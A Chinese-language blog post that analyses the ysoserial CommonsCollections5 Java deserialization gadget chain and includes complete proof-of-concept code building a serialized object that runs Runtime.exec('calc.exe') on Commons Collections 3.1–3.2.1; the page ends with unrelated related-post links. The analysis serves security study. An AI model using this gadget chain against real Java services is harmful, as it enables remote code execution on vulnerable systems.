我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写。

所以要挖掘出一条能替代的类BadAttributeValueExpException

在CC5中除了有一个新的类BadAttributeValueExpException外,还有一个新的类TiedMapEntry,用来调用LazyMap的get方法

TiedMapEntry

在TiedMapEntry的getValue方法中调用了get方法

而map成员变量则是由构造函数传入

这里传入this.map=LazyMap后,调用getValue方法就可以触发调用链了。

而getValue方法是在toString中调用了。

BadAttributeValueExpException

直接查看readObject方法

第72行是获取val的值,赋值给valObj,在第86行时候,调用了valObj的toString方法

也就是调用TiedMapEntry的toString。

BadAttributeValueExpException、TiedMapEntry、LazyMap三条链互相调用

构造POC

前面和CC1一样,利用LazyMap来触发ChainedTransformer反射链

  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  4. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  5. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  6. };
  7. ChainedTransformer chain = new ChainedTransformer(transformers);
  8. //创建一个HashMap
  9. HashMap hashMap = new HashMap();
  10. //传入chain
  11. LazyMap lazymap = (LazyMap) LazyMap.decorate(hashMap, chain);

TiedMapEntry成员变量this.map利用构造方法赋值成LazyMap

  1. TiedMapEntry entry = new TiedMapEntry(lazymap, "xxx");

BadAttributeValueExpException的val参数需要利用反射进行set值

  1. BadAttributeValueExpException bad = new BadAttributeValueExpException(null); //参数无所谓
  2. Field val = bad.getClass().getDeclaredField("val");
  3. val.setAccessible(true);
  4. val.set(bad,entry);

最终POC:

  1. public class payload01 {
  2. public static void main(String[] args) throws Exception {
  3. Transformer[] transformers = new Transformer[]{
  4. new ConstantTransformer(Runtime.class),
  5. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  6. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  7. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  8. };
  9. ChainedTransformer chain = new ChainedTransformer(transformers);
  10. //创建一个HashMap
  11. HashMap hashMap = new HashMap();
  12. //传入chain
  13. LazyMap lazymap = (LazyMap) LazyMap.decorate(hashMap, chain);
  14. TiedMapEntry entry = new TiedMapEntry(lazymap, "xxx");
  15. BadAttributeValueExpException bad = new BadAttributeValueExpException(null); //参数无所谓
  16. Field val = bad.getClass().getDeclaredField("val");
  17. val.setAccessible(true);
  18. val.set(bad,entry);
  19. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  20. ObjectOutputStream oos = new ObjectOutputStream(barr);
  21. oos.writeObject(bad);
  22. oos.close();
  23. System.out.println(barr);
  24. System.out.println(barr.toString());
  25. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
  26. ois.readObject();
  27. }
  28. }

我发现此payload只适用于CommonsCollections版本3.1-3.2.1,因为在4.0版本中,LazyMap取消了decorate方法构造对象,而是用的静态方法lazymap,所以要改动一下传入参数的方式就可以了

cc5在JDK1.7和1.8版本都测试可以使用

ysoserial CommonsColletions5分析的更多相关文章

  1. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  2. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  3. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  4. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  5. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  6. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  7. ysoserial CommonsColletions3分析(1)

    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...

  8. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  9. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

随机推荐

  1. Android达到什么水平才能顺利拿到 20k 无压力?

    程序员分很多种类和等级,如果要提高达到20k的概率,有两个条件如果满足的话,则很容易达到: 1.一线城市:北上广深杭 2.互联网行业 如果你非得抬杠,我要在三线城市,做外包要赚20k的话,很难,我自己 ...

  2. java-将数组调整为左奇右偶

    先将偶数个数找出来 然后将奇数偶数分别保存到数组 然后写入 时间复杂度为O(n); public class test{ public static void main(String[] args){ ...

  3. ffmpeg第6篇:滤镜语法

    前言 哈哈,回来继续填坑了,前段时间较忙没时间写,现在继续~ 简介 滤镜是ffmpeg的一个很强大的功能,它支持许多有用的视频处理功能,常见的滤镜如:缩放.旋转.水印.裁剪等 一个比较经典的滤镜使用方 ...

  4. WPF 中的DataTemplate 的嵌套

    <Window x:Class="WPF.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xa ...

  5. Mysql 之 IFNULL(expr1,expr2) 对空不可判

    目标 当传入参数 @OrderId为空时 不做过滤 sql语句如下 SELECT o.* FROM `order` AS o LEFT JOIN receivemoneyconfirm AS re O ...

  6. java 内存泄露的几种情况

    内存泄漏定义(memory leak):一个不再被程序使用的对象或变量还在内存中占有存储空间. 一次内存泄漏似乎不会有大的影响,但内存泄漏堆积后的后果就是内存溢出.内存溢出 out of memory ...

  7. MVVMLight学习笔记(六)---DispatchHelper更新UI

    一.概述 在应用程序中,线程可以被看做是应用程序的一个较小的执行单位.每个应用程序都至少拥有一个线程,我们称为主线程.当调用和操作主线程的时候,该操作将动作添加到一个队列中,每个操作均按照将它们添加到 ...

  8. 防止XSS 攻击集成springboot

    1.配置相关数据 在配置文件中配置 # 防止XSS攻击 xss: # 过滤开关 enabled: true # 排除链接(多个用逗号分隔) excludes: /system/notice/* # 匹 ...

  9. hive表导出到mysql报错

    Exception in thread "main" java.lang.NoClassDefFoundError: org/json/JSONObject hadoop@hado ...

  10. Oracle数据库 —— DDL

    时间:2016-10-5 14:55 逆风的方向更适合飞翔我不怕千万人阻挡只怕自己投降 --------------------------------------- 一.表的创建与管理1.表的基本操 ...